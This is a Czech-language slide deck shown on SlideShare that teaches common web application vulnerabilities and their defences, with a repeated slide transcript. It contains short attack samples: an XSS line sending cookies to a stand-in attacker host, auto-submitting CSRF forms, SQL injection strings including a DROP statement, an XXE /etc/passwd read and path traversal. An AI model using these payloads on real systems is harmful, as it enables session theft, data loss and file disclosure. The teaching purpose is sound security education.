SlideShare a Scribd company logo
1 of 48
Download to read offline
Testování webových aplikací

Roman Kümmel

Zranitelnosti webových aplikací
Bezpečnostní hrozby

Síťové prvky,
servery

VPN, Remote
desktop

Webové aplikace

Útoky proti uživatelům

Sociotechnika

DoS, DDoS

Útoky proti aplikaci

CSRF

SQL injection

Clickjacking

Forced
browsing

XSS

XML External
Entity

CRLF injection

Nezabezpečený
upload

Local File
Include

Zranitelnosti webových aplikací

Wi-Fi
Cross-Site Request Forgery (CSRF)
- Zneužití důvěry serveru v uživatele

- Nic netušící uživatel odešle serveru GET/POST požadavek
- Skript na serveru rozpozná uživatele podle cookie a
požadavek pod identitou uživatele vykoná
- Může jít také o XMLHttpRequesty (AJAX požadavky)

Zranitelnosti webových aplikací
Cross-Site Request Forgery (CSRF)
metoda GET
- Útočník odešle uživateli odkaz pro odeslání
nebezpečného požadavku cílové aplikaci
http://www.webmail.cz/remail?email=utocnik@seznam.cz

- Možnost zneužití HTML prvků načítajících externí obsah
<img src=http://www.webmail.cz/remail?email=utocnik@seznam.cz>

Zranitelnosti webových aplikací
Cross-Site Request Forgery (CSRF)
metoda POST
- Útočník vytvoří webovou stránku, která sama odešle
nebezpečné požadavky cílové aplikaci ve chvíli, kdy ji
(přihlášený) uživatel navštíví
- Pro utajení akce se formulář vloží do skrytého rámu
<form name=“fake“ method=“post“ action=“http://aplikace.cz/remail“>
<input type=“hidden“ name=“email“ value=“utocnik@seznam.cz“>
</form>
<script>document.fake.submit();</script>

Zranitelnosti webových aplikací
Cross-Site Request Forgery (CSRF)
OBRANA
- Kontrola HTTP hlavičky REFERER
- Nedoporučuji, možnost odeslání požadavků bez této hlavičky

- Kontrola hlavičky ORIGIN u XMLHttpRequestů
- Podobná situace jako u hlavičky Referer

- Přidání autorizačního tokenu ke všem požadavkům
- Útočník nemůže připravit útočný požadavek bez jeho znalosti
- Ideální je platnost tokenu časově omezit
http://aplikace.cz/remail?email=utocnik@seznam.cz&ticket=ba5e5aa2f472
Zranitelnosti webových aplikací
Bezpečnostní hrozby

Síťové prvky,
servery

VPN, Remote
desktop

Webové aplikace

Útoky proti uživatelům

Sociotechnika

DoS, DDoS

Útoky proti aplikaci

CSRF

SQL injection

Clickjacking

Forced
browsing

XSS

XML External
Entity

CRLF injection

Nezabezpečený
upload

Local File
Include

Zranitelnosti webových aplikací

Wi-Fi
Clickjacking
- Je-li nasazena ochrana před útoky CSRF

- Nic netušící uživatel sám klikne na prvek nebo vyplní a
odešle formulář, bez toho, aby věděl, co vlastně dělá.
- Útok založen na možnosti načíst web. stránku do rámu
- Průhlednost rámu
- Překrytí nechtěných prvků

- Vkládání údajů do aplikace, nebo krádež dat z aplikace.
Zranitelnosti webových aplikací
Clickjacking
OBRANA
- JavaScript FrameKiller
- if (top.location != self.location)
- Nedoporučuji
- možnost načtení zdrojáku view-source:
- Lze vyřadit zneužitím XSS filtru

- HTTP Response Hlavička X-Frame Options
- DENY
- SAMEORIGIN
- ALLOW-FROM

- Content Security Policy
Zranitelnosti webových aplikací
Bezpečnostní hrozby

Síťové prvky,
servery

VPN, Remote
desktop

Webové aplikace

Útoky proti uživatelům

Sociotechnika

DoS, DDoS

Útoky proti aplikaci

CSRF

SQL injection

Clickjacking

Forced
browsing

XSS

XML External
Entity

CRLF injection

Nezabezpečený
upload

Local File
Include

Zranitelnosti webových aplikací

Wi-Fi
Cross-Site Scripting (XSS)
- Spuštění JavaScriptu v uživatelově prohlížeči
- Same Origin Policy brání přístupu k jiným doménám
- Injekce skriptu do webové aplikace umožňuje přístup ke všem
jejím objektům (čtení/zápis)
- Únos sezení
- Změna nebo čtení uložených dat (podvržení přihlašovacích formulářů, atd.)
- XSS proxy

- Typy zranitelnosti XSS
- Perzistentní
- Non-Perzistentní
- DOM based
Zranitelnosti webových aplikací
Cross-Site Scripting (XSS)
Únos sezení – Session stealing

<script>
document.write (“<img src=‘http://utocnik.cz/save?cookie=‘+document.cookie>“);

</script>

Zranitelnosti webových aplikací
Cross-Site Scripting (XSS)
<div>Uživatelský příspěvek: <script>alert(1)</script></div>
-----------------------------------------------------------------------------------------<form>
<input type=“text“ value=““><script>alert(1)</script>“>
</form>
-----------------------------------------------------------------------------------------<input type=“text“ value=““ onclick=“alert(1)“>
-----------------------------------------------------------------------------------------<script type="text/javascript">
DOT.cfg({service: 'firmy', query:‚''});alert(1);//'});
</script>
-----------------------------------------------------------------------------------------<a href=“javascript:alert(1)“>odkaz</a>

Zranitelnosti webových aplikací
Cross-Site Scripting (XSS)
AJAX
var json = eval("(" + xhr.responseText + ")");
{"a":10, "b":20, "c":alert(1)}
{"a":10, "b":20, "c":"alert(1)"}

“ + alert(“XSS“) + “
{“a“: ““ + alert(“XSS“) + ““}
{“a“: ““ + alert(“XSS“) + ““}
Zranitelnosti webových aplikací
Cross-Site Scripting (XSS)
OBRANA

- Náhrada metaznaků “ ‘ & < > za HTML entity &lt;
- Escapování metaznaků v řetězcích JavaScriptu ‘

Zranitelnosti webových aplikací
Bezpečnostní hrozby

Síťové prvky,
servery

VPN, Remote
desktop

Webové aplikace

Útoky proti uživatelům

Sociotechnika

DoS, DDoS

Útoky proti aplikaci

CSRF

SQL injection

Clickjacking

Forced
browsing

XSS

XML External
Entity

CRLF injection

Nezabezpečený
upload

Local File
Include

Zranitelnosti webových aplikací

Wi-Fi
CRLF injection
Request:
http://www.seznam.cz?foo=test
Response:
Status: Found - 302
Location: https://www.seznam.cz?foo=test

Zranitelnosti webových aplikací
CRLF injection
Injekce HTTP hlaviček vložením bílých znaků CR+LF
Request:
http://www.seznam.cz?foo=test%0D%0AHeader:Value
Response:
Status: Found - 302
Location: https://www.seznam.cz?foo=test
Header: Value
Zranitelnosti webových aplikací
CRLF injection
OBRANA
- Ošetřit bílé znaky před vložením hodnoty do hlavičky
-

například URL encoding

Zranitelnosti webových aplikací
Bezpečnostní hrozby

Síťové prvky,
servery

VPN, Remote
desktop

Webové aplikace

Útoky proti uživatelům

Sociotechnika

DoS, DDoS

Útoky proti aplikaci

CSRF

SQL injection

Clickjacking

Forced
browsing

XSS

XML External
Entity

CRLF injection

Nezabezpečený
upload

Local File
Include

Zranitelnosti webových aplikací

Wi-Fi
SQL injection
www.webmail.cz?name=pepa
$name = $_GET[‘name‘]
$query = “SELECT * FROM database WHERE name=‘$name‘“

SELECT * FROM database WHERE name=‘pepa‘

Zranitelnosti webových aplikací
SQL injection
www.webmail.cz?name=‘ OR ‘a‘=‘a
$name = $_GET[‘name‘]
$query = “SELECT * FROM database WHERE name=‘$name‘“

SELECT * FROM database WHERE name=‘‘ OR ‘a‘=‘a‘
SELECT * FROM database WHERE name=‘‘; DROP database--‘

Zranitelnosti webových aplikací
SQL injection
OBRANA
Escapovat metaznaky (apostrofy)
SELECT * FROM database WHERE name=‘‘ OR ‘A‘=‘A‘

Zdvojovat metaznaky (apostrofy)
SELECT * FROM database WHERE name=‘‘‘ OR ‘‘A ‘‘= ‘‘A‘

Používat uložené procedury, kontrolu na nižších
vrstvách, prepared statement

Pozor na escapování u vícebajtových znakových sad!
‘ => ‘

%BF‘ => %BF‘

addslashes()
=> mysql_real_escape_string()
magic_quotes

Zranitelnosti webových aplikací
SQL injection

www.webmail.cz?id=1
$id = $_GET[‘id‘]
$query = “SELECT * FROM database WHERE id=$id“

SELECT * FROM database WHERE id=1

Zranitelnosti webových aplikací
SQL injection

www.webmail.cz?id=1 or 1=1
$id = $_GET[‘id‘]
$query = “SELECT * FROM database WHERE id=$id“

SELECT * FROM database WHERE id=1 or 1=1

Zranitelnosti webových aplikací
SQL injection
OBRANA
Přetypováním:
$id = (int)$_GET[‘id‘]

Uzavírání číselných hodnot do apostrofů + jejich ošetření
www.webmail.cz?id=1 or 1=1
$query = “SELECT * FROM database WHERE id=‘$id‘“
SELECT * FROM database WHERE id=‘1 OR 1=1‘
www.webmail.cz?id=1‘ or ‘1‘=‘1
SELECT * FROM database WHERE id=‘1‘ or ‘1‘=‘1‘
Uložené procedury, kontrola na nižších vrstvách, prepared statement
Zranitelnosti webových aplikací
Bezpečnostní hrozby

Síťové prvky,
servery

VPN, Remote
desktop

Webové aplikace

Útoky proti uživatelům

Sociotechnika

DoS, DDoS

Útoky proti aplikaci

CSRF

SQL injection

Clickjacking

Forced
browsing

XSS

XML External
Entity

CRLF injection

Nezabezpečený
upload

Local File
Include

Zranitelnosti webových aplikací

Wi-Fi
Forced browsing
- Procházení stránek změnou id v požadavku
- Možnost získání celých databází

OBRANA
-

Nepoužívat id v požadavcích
Používat jedinečný identifikátor
Používání Captchy při mnoha požadavcích
Pozor na nedostatečnou autorizaci

Zranitelnosti webových aplikací
Bezpečnostní hrozby

Síťové prvky,
servery

VPN, Remote
desktop

Webové aplikace

Útoky proti uživatelům

Sociotechnika

DoS, DDoS

Útoky proti aplikaci

CSRF

SQL injection

Clickjacking

Forced
browsing

XSS

XML External
Entity

CRLF injection

Nezabezpečený
upload

Local File
Include

Zranitelnosti webových aplikací

Wi-Fi
XML External Entity (XXE)
Co s tím?
-

Full Path Disclosure
Cross-Site Scripting (XSS)
Server-Side Request Forgery (SSRF)
Scanning Internal Network
Denial of Service (DoS)
Local File Disclusion
atd.

Zranitelnosti webových aplikací
XML External Entity (XXE)
Struktura XML dokumentu
<?xml version="1.0"?>
<!DOCTYPE contacts [
<!ELEMENT contact (login,name)>
<!ELEMENT login (#PCDATA)>
<!ELEMENT name (#PCDATA)>
]>
<contacts>
<contact>
<login>karel</login>
<name>Karel Novotný</name>
</contact>
<contact>
<login>jana</login>
<name>Jana Nádherná</name>
</contact>
</contacts>

DTD (Document Type Definition)

Document Content

Zranitelnosti webových aplikací
XML External Entity (XXE)
Interní entity v XML
<?xml version="1.0"?>
<!DOCTYPE contacts [
<!ENTITY prijmeni "Novotný">
]>
<contacts>
<contact>
<login>karel</login>
<name>Karel &prijmeni;</name>
</contact>
<contact>
<login>petr</login>
<name>Petr &prijmeni;</name>
</contact>
</contacts>

<contacts>
<contact>
<login>karel</login>
<name>Karel Novotný</name>
</contact>
<contact>
<login>petr</login>
<name>Petr Novotný</name>
</contact>
</contacts>

Zranitelnosti webových aplikací
XML External Entity (XXE)
Externí entity v XML
<?xml version="1.0"?>
<!DOCTYPE contacts [
<!ENTITY note SYSTEM "./note/novotny.txt ">
]>
<contacts>
<contact>
<login>karel</login>
<name>Karel Novotný</name>
<note>&note;</note>
<contacts>
</contact>
<contact>
</contacts>
<login>karel</login>
<name>Karel Novotný</name>
<note>Textová poznámka ze souboru</note>
</contact>
</contacts>

Zranitelnosti webových aplikací
XML External Entity (XXE)
Attack: Local File Disclusion
<?xml version="1.0"?>
<!DOCTYPE contacts [
<!ENTITY note SYSTEM „/etc/passwd">
]>
<contacts>
<contact>
<login>karel</login>
<name>Karel Novotný</name>
<note>&note;</note>
</contact>
</contacts>

<contacts>
<contact>
<login>karel</login>
<name>Karel Novotný</name>
<note>
root:!:0:0::/:/usr/bin/ksh daemon:!:1:1::/etc:
bin:!:2:2::/bin: sys:!:3:3::/usr/sys:
adm:!:4:4::/var/adm:
uucp:!:5:5::/usr/lib/uucp:
guest:!:100:100::/home/guest:
lp:*:11:11::/var/spool/lp:/bin/false
nuucp:*:6:5:uucp login
Doe:/home/jdoe:/usr/bin/ksh

</note>
</contact>
</contacts>

Zranitelnosti webových aplikací
Bezpečnostní hrozby

Síťové prvky,
servery

VPN, Remote
desktop

Webové aplikace

Útoky proti uživatelům

Sociotechnika

DoS, DDoS

Útoky proti aplikaci

CSRF

SQL injection

Clickjacking

Forced
browsing

XSS

XML External
Entity

CRLF injection

Nezabezpečený
upload

Local File
Include

Zranitelnosti webových aplikací

Wi-Fi
Nezabezpečený upload
- Upload serverového skriptu a jeho spuštění může vést k
ovládnutí serveru
- Zneužití důvěryhodné domény k uploadu souborů
sloužících k infikování počítačů konečných uživatelů

OBRANA
- Kontrolovat typ a strukturu uploadovaných dat
- Konvertovat obrázky
- Ošetřit bílé znaky a znaky pro procházení adresářů v
názvu uploadovaného souboru (použít nový název)
- Zakázat spouštění skriptů v adresářích pro upload
Zranitelnosti webových aplikací
Bezpečnostní hrozby

Síťové prvky,
servery

VPN, Remote
desktop

Webové aplikace

Útoky proti uživatelům

Sociotechnika

DoS, DDoS

Útoky proti aplikaci

CSRF

SQL injection

Clickjacking

Forced
browsing

XSS

XML External
Entity

CRLF injection

Nezabezpečený
upload

Local File
Include

Zranitelnosti webových aplikací

Wi-Fi
Local File Inclusion (disclosure)
- Možnost zobrazení nebo spuštění serverového skriptu
- Script lze na server dostat:
-

Uploadem souboru
Uploadem nakaženého obrázku
Přes cookies a session proměnné
Enviroment
(proc/self/environ)
Zneužitím logů (var/www/logs/access_log, apd.)

Zranitelnosti webových aplikací
Local File Inclusion (disclosure)
GET: webmail.cz?action=view.php

$page = $_GET[“action“];
Include($page);

webmail.cz?action=../../../../etc/passwd
webmail.cz?action=../images/foto.jpg

Zranitelnosti webových aplikací
Local File Inclusion (disclosure)
OBRANA
- Vhodně nastavený webový server

- Neincludovat soubory na základě proměnné obdržené
od uživatele
- Ošetřit výskyt sekvence ../

Zranitelnosti webových aplikací
Bezpečnostní hrozby

Síťové prvky,
servery

VPN, Remote
desktop

Webové aplikace

DoS, DDoS

Útoky proti uživatelům

Sociotechnika

Útoky proti aplikaci

CSRF

SQL injection

Clickjacking

Forced
browsing

XSS

XML External
Entity

CRLF injection

Nezabezpečený
upload

Local File
Include

Webmail použitý v ukázkách je dostupný na adrese

http://webmail.hackingvpraxi.cz
Zranitelnosti webových aplikací

Wi-Fi
Penetrační testování
Automatické
vs.
manuální testování

Zranitelnosti webových aplikací
Automatické testování
- Klady
-

Rychlost
Odstraňují opakující se úkony (../ ../../ ../../../ ../../../../)
Hledání konfiguračních souborů
Fuzzing
apd.

- Zápory
-

Nelze se na ně plně spolehnout
Mnoho „false positive“ hlášení
Nedokáží odhalit reakce projevující se na jiných místech
Při důkladných testech se nelze manuálním testům vyhnout
Zranitelnosti webových aplikací
Manuální testování
- Klady
-

Důkladná analýza výstupu umožní lépe přizpůsobit
následné testy
Je možné odhalit i reakce projevující se na jiných místech
aplikace

- Zápory
-

Pentester je také jen člověk a může něco přehlédnout
Opakující se činnosti jsou časově náročné a vyčerpávající

Zranitelnosti webových aplikací
Jak zajišťujeme
bezpečnost aplikací
v Seznam.cz

Zranitelnosti webových aplikací
Jak zajišťujeme bezpečnost aplikací
v Seznam.cz
-

Vzděláváním vývojářů
Penetračním testováním betaverzí
Průběžnou kontrolou ostrých verzí
Vulnerability scanner (Acunetix)
Neodsuzujeme white hat hacking
(BugTrack na SOOM.cz)
Zranitelnosti webových aplikací
Dotazy
Zabezpečení webových aplikací
Děkuji za pozornost

Zranitelnosti webových aplikací

More Related Content

Similar to Nejčastější webové zranitelnosti

Bezpečnost na webu
Bezpečnost na webuBezpečnost na webu
Bezpečnost na webuMiloš Janda
 
Bezpečnostní útoky na webové aplikace
Bezpečnostní útoky na webové aplikaceBezpečnostní útoky na webové aplikace
Bezpečnostní útoky na webové aplikaceMichal Špaček
 
5was 100524062135-phpapp02
5was 100524062135-phpapp025was 100524062135-phpapp02
5was 100524062135-phpapp02simon680
 
WordCamp Prague 2014 - Website security cz
WordCamp Prague 2014 - Website security czWordCamp Prague 2014 - Website security cz
WordCamp Prague 2014 - Website security czpeter_sucuri
 
Javascript na steroidech
Javascript na steroidechJavascript na steroidech
Javascript na steroidechseznamVyvojari
 
Noční můry webového vývojáře
Noční můry webového vývojářeNoční můry webového vývojáře
Noční můry webového vývojářeMichal Špaček
 
Jak si (ne)nechat hacknout Wordpress stránky
Jak si (ne)nechat hacknout Wordpress stránkyJak si (ne)nechat hacknout Wordpress stránky
Jak si (ne)nechat hacknout Wordpress stránkyVladimír Smitka
 
mDevCamp 2013 - Bezpečnost mobilního bankovnictví
mDevCamp 2013 - Bezpečnost mobilního bankovnictvímDevCamp 2013 - Bezpečnost mobilního bankovnictví
mDevCamp 2013 - Bezpečnost mobilního bankovnictvíPetr Dvorak
 
Presentation IBM Rational AppScan
Presentation IBM Rational AppScanPresentation IBM Rational AppScan
Presentation IBM Rational AppScanMatouš Havlena
 
WP výkon a jeho profilování
WP výkon a jeho profilováníWP výkon a jeho profilování
WP výkon a jeho profilováníVladimír Smitka
 
ASP.NET MVC 3 and SQL Server interoperability overview [CZ]
ASP.NET MVC 3 and SQL Server interoperability overview [CZ]ASP.NET MVC 3 and SQL Server interoperability overview [CZ]
ASP.NET MVC 3 and SQL Server interoperability overview [CZ]Vítězslav Šimon
 
Bezpečnost Wordpressu - 4. WP konference
Bezpečnost Wordpressu - 4. WP konferenceBezpečnost Wordpressu - 4. WP konference
Bezpečnost Wordpressu - 4. WP konferenceVladimír Smitka
 
Website Security & WordPress (Peter Gramantik)
Website Security & WordPress (Peter Gramantik)Website Security & WordPress (Peter Gramantik)
Website Security & WordPress (Peter Gramantik)wcsk
 
Czech Sun Training Day 2008 - Java Enterprise System
Czech Sun Training Day 2008 - Java Enterprise SystemCzech Sun Training Day 2008 - Java Enterprise System
Czech Sun Training Day 2008 - Java Enterprise SystemMartin Cerveny
 

Similar to Nejčastější webové zranitelnosti (17)

Bezpečnost na webu
Bezpečnost na webuBezpečnost na webu
Bezpečnost na webu
 
Bezpečnostní útoky na webové aplikace
Bezpečnostní útoky na webové aplikaceBezpečnostní útoky na webové aplikace
Bezpečnostní útoky na webové aplikace
 
QualysGuard InfoDay 2014 - WAS
QualysGuard InfoDay 2014 - WASQualysGuard InfoDay 2014 - WAS
QualysGuard InfoDay 2014 - WAS
 
5was 100524062135-phpapp02
5was 100524062135-phpapp025was 100524062135-phpapp02
5was 100524062135-phpapp02
 
Web Application Scanning (WAS)
Web Application Scanning (WAS)Web Application Scanning (WAS)
Web Application Scanning (WAS)
 
WordCamp Prague 2014 - Website security cz
WordCamp Prague 2014 - Website security czWordCamp Prague 2014 - Website security cz
WordCamp Prague 2014 - Website security cz
 
Javascript na steroidech
Javascript na steroidechJavascript na steroidech
Javascript na steroidech
 
Noční můry webového vývojáře
Noční můry webového vývojářeNoční můry webového vývojáře
Noční můry webového vývojáře
 
Jak si (ne)nechat hacknout Wordpress stránky
Jak si (ne)nechat hacknout Wordpress stránkyJak si (ne)nechat hacknout Wordpress stránky
Jak si (ne)nechat hacknout Wordpress stránky
 
mDevCamp 2013 - Bezpečnost mobilního bankovnictví
mDevCamp 2013 - Bezpečnost mobilního bankovnictvímDevCamp 2013 - Bezpečnost mobilního bankovnictví
mDevCamp 2013 - Bezpečnost mobilního bankovnictví
 
Presentation IBM Rational AppScan
Presentation IBM Rational AppScanPresentation IBM Rational AppScan
Presentation IBM Rational AppScan
 
WP výkon a jeho profilování
WP výkon a jeho profilováníWP výkon a jeho profilování
WP výkon a jeho profilování
 
ASP.NET MVC 3 and SQL Server interoperability overview [CZ]
ASP.NET MVC 3 and SQL Server interoperability overview [CZ]ASP.NET MVC 3 and SQL Server interoperability overview [CZ]
ASP.NET MVC 3 and SQL Server interoperability overview [CZ]
 
Bezpečnost Wordpressu - 4. WP konference
Bezpečnost Wordpressu - 4. WP konferenceBezpečnost Wordpressu - 4. WP konference
Bezpečnost Wordpressu - 4. WP konference
 
Website Security & WordPress (Peter Gramantik)
Website Security & WordPress (Peter Gramantik)Website Security & WordPress (Peter Gramantik)
Website Security & WordPress (Peter Gramantik)
 
Czech Sun Training Day 2008 - Java Enterprise System
Czech Sun Training Day 2008 - Java Enterprise SystemCzech Sun Training Day 2008 - Java Enterprise System
Czech Sun Training Day 2008 - Java Enterprise System
 
RAC Wireless Security Services - Technická prezentace 2011
RAC Wireless Security Services - Technická prezentace 2011RAC Wireless Security Services - Technická prezentace 2011
RAC Wireless Security Services - Technická prezentace 2011
 

Nejčastější webové zranitelnosti

  • 1. Testování webových aplikací Roman Kümmel Zranitelnosti webových aplikací
  • 2. Bezpečnostní hrozby Síťové prvky, servery VPN, Remote desktop Webové aplikace Útoky proti uživatelům Sociotechnika DoS, DDoS Útoky proti aplikaci CSRF SQL injection Clickjacking Forced browsing XSS XML External Entity CRLF injection Nezabezpečený upload Local File Include Zranitelnosti webových aplikací Wi-Fi
  • 3. Cross-Site Request Forgery (CSRF) - Zneužití důvěry serveru v uživatele - Nic netušící uživatel odešle serveru GET/POST požadavek - Skript na serveru rozpozná uživatele podle cookie a požadavek pod identitou uživatele vykoná - Může jít také o XMLHttpRequesty (AJAX požadavky) Zranitelnosti webových aplikací
  • 4. Cross-Site Request Forgery (CSRF) metoda GET - Útočník odešle uživateli odkaz pro odeslání nebezpečného požadavku cílové aplikaci http://www.webmail.cz/remail?email=utocnik@seznam.cz - Možnost zneužití HTML prvků načítajících externí obsah <img src=http://www.webmail.cz/remail?email=utocnik@seznam.cz> Zranitelnosti webových aplikací
  • 5. Cross-Site Request Forgery (CSRF) metoda POST - Útočník vytvoří webovou stránku, která sama odešle nebezpečné požadavky cílové aplikaci ve chvíli, kdy ji (přihlášený) uživatel navštíví - Pro utajení akce se formulář vloží do skrytého rámu <form name=“fake“ method=“post“ action=“http://aplikace.cz/remail“> <input type=“hidden“ name=“email“ value=“utocnik@seznam.cz“> </form> <script>document.fake.submit();</script> Zranitelnosti webových aplikací
  • 6. Cross-Site Request Forgery (CSRF) OBRANA - Kontrola HTTP hlavičky REFERER - Nedoporučuji, možnost odeslání požadavků bez této hlavičky - Kontrola hlavičky ORIGIN u XMLHttpRequestů - Podobná situace jako u hlavičky Referer - Přidání autorizačního tokenu ke všem požadavkům - Útočník nemůže připravit útočný požadavek bez jeho znalosti - Ideální je platnost tokenu časově omezit http://aplikace.cz/remail?email=utocnik@seznam.cz&ticket=ba5e5aa2f472 Zranitelnosti webových aplikací
  • 7. Bezpečnostní hrozby Síťové prvky, servery VPN, Remote desktop Webové aplikace Útoky proti uživatelům Sociotechnika DoS, DDoS Útoky proti aplikaci CSRF SQL injection Clickjacking Forced browsing XSS XML External Entity CRLF injection Nezabezpečený upload Local File Include Zranitelnosti webových aplikací Wi-Fi
  • 8. Clickjacking - Je-li nasazena ochrana před útoky CSRF - Nic netušící uživatel sám klikne na prvek nebo vyplní a odešle formulář, bez toho, aby věděl, co vlastně dělá. - Útok založen na možnosti načíst web. stránku do rámu - Průhlednost rámu - Překrytí nechtěných prvků - Vkládání údajů do aplikace, nebo krádež dat z aplikace. Zranitelnosti webových aplikací
  • 9. Clickjacking OBRANA - JavaScript FrameKiller - if (top.location != self.location) - Nedoporučuji - možnost načtení zdrojáku view-source: - Lze vyřadit zneužitím XSS filtru - HTTP Response Hlavička X-Frame Options - DENY - SAMEORIGIN - ALLOW-FROM - Content Security Policy Zranitelnosti webových aplikací
  • 10. Bezpečnostní hrozby Síťové prvky, servery VPN, Remote desktop Webové aplikace Útoky proti uživatelům Sociotechnika DoS, DDoS Útoky proti aplikaci CSRF SQL injection Clickjacking Forced browsing XSS XML External Entity CRLF injection Nezabezpečený upload Local File Include Zranitelnosti webových aplikací Wi-Fi
  • 11. Cross-Site Scripting (XSS) - Spuštění JavaScriptu v uživatelově prohlížeči - Same Origin Policy brání přístupu k jiným doménám - Injekce skriptu do webové aplikace umožňuje přístup ke všem jejím objektům (čtení/zápis) - Únos sezení - Změna nebo čtení uložených dat (podvržení přihlašovacích formulářů, atd.) - XSS proxy - Typy zranitelnosti XSS - Perzistentní - Non-Perzistentní - DOM based Zranitelnosti webových aplikací
  • 12. Cross-Site Scripting (XSS) Únos sezení – Session stealing <script> document.write (“<img src=‘http://utocnik.cz/save?cookie=‘+document.cookie>“); </script> Zranitelnosti webových aplikací
  • 13. Cross-Site Scripting (XSS) <div>Uživatelský příspěvek: <script>alert(1)</script></div> -----------------------------------------------------------------------------------------<form> <input type=“text“ value=““><script>alert(1)</script>“> </form> -----------------------------------------------------------------------------------------<input type=“text“ value=““ onclick=“alert(1)“> -----------------------------------------------------------------------------------------<script type="text/javascript"> DOT.cfg({service: 'firmy', query:‚''});alert(1);//'}); </script> -----------------------------------------------------------------------------------------<a href=“javascript:alert(1)“>odkaz</a> Zranitelnosti webových aplikací
  • 14. Cross-Site Scripting (XSS) AJAX var json = eval("(" + xhr.responseText + ")"); {"a":10, "b":20, "c":alert(1)} {"a":10, "b":20, "c":"alert(1)"} “ + alert(“XSS“) + “ {“a“: ““ + alert(“XSS“) + ““} {“a“: ““ + alert(“XSS“) + ““} Zranitelnosti webových aplikací
  • 15. Cross-Site Scripting (XSS) OBRANA - Náhrada metaznaků “ ‘ & < > za HTML entity &lt; - Escapování metaznaků v řetězcích JavaScriptu ‘ Zranitelnosti webových aplikací
  • 16. Bezpečnostní hrozby Síťové prvky, servery VPN, Remote desktop Webové aplikace Útoky proti uživatelům Sociotechnika DoS, DDoS Útoky proti aplikaci CSRF SQL injection Clickjacking Forced browsing XSS XML External Entity CRLF injection Nezabezpečený upload Local File Include Zranitelnosti webových aplikací Wi-Fi
  • 17. CRLF injection Request: http://www.seznam.cz?foo=test Response: Status: Found - 302 Location: https://www.seznam.cz?foo=test Zranitelnosti webových aplikací
  • 18. CRLF injection Injekce HTTP hlaviček vložením bílých znaků CR+LF Request: http://www.seznam.cz?foo=test%0D%0AHeader:Value Response: Status: Found - 302 Location: https://www.seznam.cz?foo=test Header: Value Zranitelnosti webových aplikací
  • 19. CRLF injection OBRANA - Ošetřit bílé znaky před vložením hodnoty do hlavičky - například URL encoding Zranitelnosti webových aplikací
  • 20. Bezpečnostní hrozby Síťové prvky, servery VPN, Remote desktop Webové aplikace Útoky proti uživatelům Sociotechnika DoS, DDoS Útoky proti aplikaci CSRF SQL injection Clickjacking Forced browsing XSS XML External Entity CRLF injection Nezabezpečený upload Local File Include Zranitelnosti webových aplikací Wi-Fi
  • 21. SQL injection www.webmail.cz?name=pepa $name = $_GET[‘name‘] $query = “SELECT * FROM database WHERE name=‘$name‘“ SELECT * FROM database WHERE name=‘pepa‘ Zranitelnosti webových aplikací
  • 22. SQL injection www.webmail.cz?name=‘ OR ‘a‘=‘a $name = $_GET[‘name‘] $query = “SELECT * FROM database WHERE name=‘$name‘“ SELECT * FROM database WHERE name=‘‘ OR ‘a‘=‘a‘ SELECT * FROM database WHERE name=‘‘; DROP database--‘ Zranitelnosti webových aplikací
  • 23. SQL injection OBRANA Escapovat metaznaky (apostrofy) SELECT * FROM database WHERE name=‘‘ OR ‘A‘=‘A‘ Zdvojovat metaznaky (apostrofy) SELECT * FROM database WHERE name=‘‘‘ OR ‘‘A ‘‘= ‘‘A‘ Používat uložené procedury, kontrolu na nižších vrstvách, prepared statement Pozor na escapování u vícebajtových znakových sad! ‘ => ‘ %BF‘ => %BF‘ addslashes() => mysql_real_escape_string() magic_quotes Zranitelnosti webových aplikací
  • 24. SQL injection www.webmail.cz?id=1 $id = $_GET[‘id‘] $query = “SELECT * FROM database WHERE id=$id“ SELECT * FROM database WHERE id=1 Zranitelnosti webových aplikací
  • 25. SQL injection www.webmail.cz?id=1 or 1=1 $id = $_GET[‘id‘] $query = “SELECT * FROM database WHERE id=$id“ SELECT * FROM database WHERE id=1 or 1=1 Zranitelnosti webových aplikací
  • 26. SQL injection OBRANA Přetypováním: $id = (int)$_GET[‘id‘] Uzavírání číselných hodnot do apostrofů + jejich ošetření www.webmail.cz?id=1 or 1=1 $query = “SELECT * FROM database WHERE id=‘$id‘“ SELECT * FROM database WHERE id=‘1 OR 1=1‘ www.webmail.cz?id=1‘ or ‘1‘=‘1 SELECT * FROM database WHERE id=‘1‘ or ‘1‘=‘1‘ Uložené procedury, kontrola na nižších vrstvách, prepared statement Zranitelnosti webových aplikací
  • 27. Bezpečnostní hrozby Síťové prvky, servery VPN, Remote desktop Webové aplikace Útoky proti uživatelům Sociotechnika DoS, DDoS Útoky proti aplikaci CSRF SQL injection Clickjacking Forced browsing XSS XML External Entity CRLF injection Nezabezpečený upload Local File Include Zranitelnosti webových aplikací Wi-Fi
  • 28. Forced browsing - Procházení stránek změnou id v požadavku - Možnost získání celých databází OBRANA - Nepoužívat id v požadavcích Používat jedinečný identifikátor Používání Captchy při mnoha požadavcích Pozor na nedostatečnou autorizaci Zranitelnosti webových aplikací
  • 29. Bezpečnostní hrozby Síťové prvky, servery VPN, Remote desktop Webové aplikace Útoky proti uživatelům Sociotechnika DoS, DDoS Útoky proti aplikaci CSRF SQL injection Clickjacking Forced browsing XSS XML External Entity CRLF injection Nezabezpečený upload Local File Include Zranitelnosti webových aplikací Wi-Fi
  • 30. XML External Entity (XXE) Co s tím? - Full Path Disclosure Cross-Site Scripting (XSS) Server-Side Request Forgery (SSRF) Scanning Internal Network Denial of Service (DoS) Local File Disclusion atd. Zranitelnosti webových aplikací
  • 31. XML External Entity (XXE) Struktura XML dokumentu <?xml version="1.0"?> <!DOCTYPE contacts [ <!ELEMENT contact (login,name)> <!ELEMENT login (#PCDATA)> <!ELEMENT name (#PCDATA)> ]> <contacts> <contact> <login>karel</login> <name>Karel Novotný</name> </contact> <contact> <login>jana</login> <name>Jana Nádherná</name> </contact> </contacts> DTD (Document Type Definition) Document Content Zranitelnosti webových aplikací
  • 32. XML External Entity (XXE) Interní entity v XML <?xml version="1.0"?> <!DOCTYPE contacts [ <!ENTITY prijmeni "Novotný"> ]> <contacts> <contact> <login>karel</login> <name>Karel &prijmeni;</name> </contact> <contact> <login>petr</login> <name>Petr &prijmeni;</name> </contact> </contacts> <contacts> <contact> <login>karel</login> <name>Karel Novotný</name> </contact> <contact> <login>petr</login> <name>Petr Novotný</name> </contact> </contacts> Zranitelnosti webových aplikací
